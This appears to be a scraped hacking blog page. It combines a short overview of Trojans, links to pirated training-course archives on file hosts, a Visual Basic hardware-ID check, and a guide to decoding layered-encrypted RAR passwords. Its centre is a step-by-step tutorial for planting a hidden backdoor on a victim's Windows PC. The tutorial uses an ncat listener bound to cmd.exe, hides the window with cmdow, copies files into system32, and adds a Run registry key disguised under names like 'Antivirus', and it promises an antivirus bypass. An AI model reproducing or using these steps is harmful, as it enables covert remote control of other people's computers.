Trojans and Backdoors

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

* It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.
* Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.

Working of Trojans

* Attacker gets access to the trojaned system as the system goes online.
* By way of the access provided by the trojan attacker can stage attacks of different types.

Various Trojan Types

* Remote Access Trojans
* Password Sending Trojans
* Keyloggers
* Destructive
* Denial Of Service (DoS) Attack Trojans
* Proxy/Wingate Trojans
* FTP Trojans
* Software Detection Killers

Modes of Transmission

* Attachments
* Physical Access
* Browser And E-mail Software Bugs
* NetBIOS (File Sharing)
* Fake Programs
* Un-trusted Sites And Freeware Software

Backdoor Countermeasures

* Most commercial ant-virus products can automatically scan and detect backdoor programs before they can cause damage (Eg. before accessing a floppy, running exe or downloading mail).
* An inexpensive tool called Cleaner can identify and eradicate 1000 types of backdoor programs and trojans.
* Educate your users not to install applications downloaded from the internet and e-mail attachments.

Hacking Video Tutorials Free Download: Hacking Revealed Training

Hacking Video Tutorials Free Download
Description: Hacking Revealed 5 Sessions 15 Hours of Interactive Training

In the Hacking Revealed course from LearnKey, system administrators, network security analysts, and IT professionals, who desire a broader understanding of security, learn how to protect their networks from external attack.

Expert instructor Dale Brice-Nash explains what motivates hackers and examines hacker tools.

He will demonstrate potential system vulnerabilities, hacker methodologies, current exploits, and effective approaches to risk management.

At the conclusion of this course, you’ll understand how to evaluate hacker threats and how to avoid them.

Download from hotfile:

http://hotfile.com/dl/59927998/e93f945/Learnkey_Hacking_Revealed_5Cds-CBT.part01.rar.html

http://hotfile.com/dl/59928453/eb348c0/Learnkey_Hacking_Revealed_5Cds-CBT.part02.rar.html

http://hotfile.com/dl/59928485/7f2af00/Learnkey_Hacking_Revealed_5Cds-CBT.part03.rar.html

http://hotfile.com/dl/59928488/49b5f26/Learnkey_Hacking_Revealed_5Cds-CBT.part04.rar.html

http://hotfile.com/dl/59927995/bd8ff12/Learnkey_Hacking_Revealed_5Cds-CBT.part05.rar.html

http://hotfile.com/dl/59928420/051892f/Learnkey_Hacking_Revealed_5Cds-CBT.part06.rar.html

http://hotfile.com/dl/59927993/8cbadf7/Learnkey_Hacking_Revealed_5Cds-CBT.part07.rar.html

http://hotfile.com/dl/59927992/875b71b/Learnkey_Hacking_Revealed_5Cds-CBT.part08.rar.html

http://hotfile.com/dl/59927994/403624c/Learnkey_Hacking_Revealed_5Cds-CBT.part09.rar.html

Download from filserve:

http://www.fileserve.com/file/DbkEJc9

http://www.fileserve.com/file/mHfAKEm

http://www.fileserve.com/file/cdq2syc

http://www.fileserve.com/file/3yYSmMZ

http://www.fileserve.com/file/NRXhSaX

http://www.fileserve.com/file/G9MvCG5

http://www.fileserve.com/file/ejVQ78H

http://www.fileserve.com/file/hWx2jB5

http://www.fileserve.com/file/xFzWwV7

Make a back-door and hack remote computer

Legal Disclaimer:

I am not responsible for any Non-Ethical use of this Tutorial.
In this tutorial I am going to teach you how to hack a remote computer with a backdoor.
I am doing this on Windows XP.I will also work in Linux but there some change is needed.
Tools required:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
1> NCat.exe: This tool is a special tool from the Nmap team. (Popular for their famous port scanner Nmap).It’s a very useful tool it has many functions but in this case I am only using the port listening capabilities of this tools. Mind it that it is not “Net Cat”. Its “Ncat” It is more smarter than the “netcat”.
2>Cmd.exe Command prompt which is with your windows machine.
3> Cmdow.exe I will discuss later.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Let’s begin.
1>Download the software package I have uploaded in my website.

http://www.ziddu.com/download/8194450/tools.rar.html

2> Unpack it with winrar.
3> create a new folder anywhere you want in your PC.
4> place the two files “ncat.exe” and “cmdow.exe” in that folder.(I have added all required files in the software package)
5> open Notepad (Go to start->run->type notepad->press enter).
6> in notepad type following
*************************************************//don’t include these * lines.
@echo off
ncat -l 1234 -e cmd.exe
**************************************************
Save this file as “listner.bat” or anything you want without quotes in the same folder where you have places ncat and cmdow executables.
What is happening here??
This command will open port “1234” in the Victims computer. You may use any other no. but my suggestion is to take little long no.

7>Open notepad again and type following.
******************************************************//don’t includes these lines.
cmdow /RUN/HID listener.bat
*******************************************************
Save this file as “hide.bat” in the same location.
What is happening here??
If you only open the listener.bat file .The port will be opened. But you will see that a command window is staying in the screen. This is not expected. But if you open the “listener.bat” file it will also open the port but there will be no command window in screen.
Your backdoor is now completely hidden and will start working from background.
So now what you have to do??
Place ncat.exe, cmdow.exe, listner.bat these three files in C:\windows\system32 of the victim’s computer.
And place hide.bat in the startup folder (C:\Documents and Settings\All Users\Start Menu\Programs\Startup) of victims PC. By this ncat will start working every time the victim start his/her PC.
Some time it is difficult to place all these files in the at perfect place within short span of time.
So I will suggest you to make a batch “plant.bat” file like following at the same folder which you have created at first in your PC. So when you carry all these files to the victim’s PC double click on this file. It will copy all the files at the perfect place.
******************************************************
@echo off
Copy ncat.exe c:\windows\system32
Copy cmdow.exe c:\windows\system32
Copy start.bat c:\window\system32
copy hide.bat c:\windows\system32
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v anything /t REG_SZ /d hide.bat
***********************************************************
Save this file as plant.bat.
Make sure that the root drive is C. if not then change the drive name c: .
The last line will set the registry key to open the hide.bat files in every startup on victims pc.
You may Change the last line little bit by changing “anything”. It doesn’t matter. It’s better to change it with the names like Antivirus, Scandisc, Scanner Etc
Now all done…………….
Now you have got………
1>ncat.exe
2>cmdow.exe
3>listener.bat
4>hide.bat
5>plant.bat
Make sure all these six are in same folder.
Carry these files to victims PC. And just double click on plant.bat. It will do its desired job.
Now you have cracked the server.
Now come to your PC. Follow these steps
1> Place the ncat.exe to your c:\window\system32 folder.
2> Open command prompt (start->run->type cmd->press enter) .
3> Type ncat xxx.xxx.xxx.xxx pppp
xxx.xxx.xxx.xxx -Ip address of the victims PC.(you can try it with your PC.Just use ip 127.0.0.1)
pppp port no. that you have written in listnet.bat file.(in this tutorial I have used 1234).
You will get the command prompt of the remote computer. You will get the OS version of the remote pc.You can run any command you want on this prompt. It will be executed on the remote PC.
Now type “explorer” without quotes and press enter. The “My Documents” of the remote computer should open if you have done all right.
You can test it in your P.C.(Local host or if you are connected with internet open command prompt type “ipconfig” without quotes and press enter, it will show your ip, you can test it with that ip address) Mind it this application cannot plant permanent back door. So it will be more harmful if it can set on startup. That means this software will start working on every startup and keep open that port in victim’s PC. If it run once just restarts your P.C. the application will stop working. (You can use any kind of port scanner to check this) Your P.C. will be safe. So I have told you how would you able to make it start on every boot.
It can be detected by antivirus I will also let u know how to bypass it.

Thank you for reading this article!!!!!!!!!!!

Make a Hwid[hardware id] on any of your programs

Today, I will teach you how to make a HWID System

1st Off, we will be doing this in Visual Basic 2008.

After you have Visual Basic 08, Open it up, and create a new form.

Create a Text Box, And A Button.

Set The Text Box To Read Only.

Now, double click on the button to get to the code, Add this code:

Dim HWID As String = String.Empty
Dim mc As New ManagementClass(“win32_processor”)
Dim moc As ManagementObjectCollection = mc.GetInstances()
For Each mo As ManagementObject In moc
If HWID = “” Then
HWID = mo.Properties(“processorID”).Value.ToString()
Exit For
End If
Next
TextBox1.Text = HWID
End Sub

Now, Above Public Class FormX Put This Code:
PHP Code:
Imports System.Management
If you still have 3 errors after you’ve done that, Go to:
Project -> Add Reference-> System.Management

That’s it for getting your HWID.

Now to protect your programs…

Open up your project that you want to protect wit the HWID System.

Double Click the form to get to the Form Load Code.
Before anything, Add in this Code:

Dim HWID As String = String.Empty
Dim mc As New ManagementClass(“win32_processor”)
Dim moc As ManagementObjectCollection = mc.GetInstances()

For Each mo As ManagementObject In moc
If HWID = “” Then
HWID = mo.Properties(“processorID”).Value.ToString()
Exit For
End If
Next
Dim wc As New WebClient
Dim strings As String
strings = wc.DownloadString(“URL To were your .txt is at.”)
wc.Dispose()

If strings.Contains(HWID) Then
MessageBox.Show(“HWID Matches!”, “Open!”, MessageBoxButtons.OK, MessageBoxIcon.Information)
Else
MessageBox.Show(“Error, HWID Does Not Match!”, “Error!”, MessageBoxButtons.OK, MessageBoxIcon.Error)
Me.Close()
End If
End Sub

Now Above Public Class FormX Put this Code:

Imports System.Management
Imports System.Net

If you still have errors relating to Management, Do what we did to create the HWID Generator:
Project -> Add Reference-> System.Management

Alright, we are almost done.

Find a good free host, or any host you can, And make a .txt file.
Name it DataBase.txt or somthing.

In There you can add in HWID’s like this:

:
:Name>

Replace HWID With the HWID Of people who you want to allow access the program. Separate each by a Line, for organization.

Upload that file to your host and your good.

To add in a HWID, just simply edit the txt file.

Decrypting Passwords! No More Password Plzz…

Introduction :-

As I have seen a lot of people unable to decrypt simple RAR passwords when the types of encryption has been given to them and the order of encryption has also been given, its a tutorial to stop all those saying “PLZ PASSWORD”. In this tut you will learn how to decrypt passwords encrypted by users to prevent download unnecessary download files.

-

Tutorial :-
Example

Password: tutorial
Code: +I9Mw+Ng/yTv7IY961YV=MXX

Encrypted by GILA7, ATOM-128 & TIGO-3FX

1) Find out what types of encryption are used, in our example you can seen the password was encrypted firstly by GILA7 then ATOM-128 and finally TIGO-3FX.

So, we will first have to decrypt it by TIGO-3FX, as this was the last encryption, then the second last, which is ATOM-128 and finally GILA7

means last encryption = first decryption ;]

-

2)Visit http://www.crypo.com/eng_tigo3fxd.php (is for TIGO-3FX),

then type the password +I9Mw+Ng/yTv7IY961YV=MXX in and press decrypt, you should get Sk01LgHNKkhle8Ho

3) Now, go to http://www.crypo.com/eng_atom128d.php (FOR ATOM- 128)

and type Sk01LgHNKkhle8Ho and press decrypt , we should get 3WAeExcQv85G

4) Finally, we will decrypt our last decryption code we got, 3WAeExcQv85G, with the GILA7 decrypter–> http://www.crypo.com/eng_gila7d.php ,

and we will get our password i.e :- tutorial

-

Credits:- Win32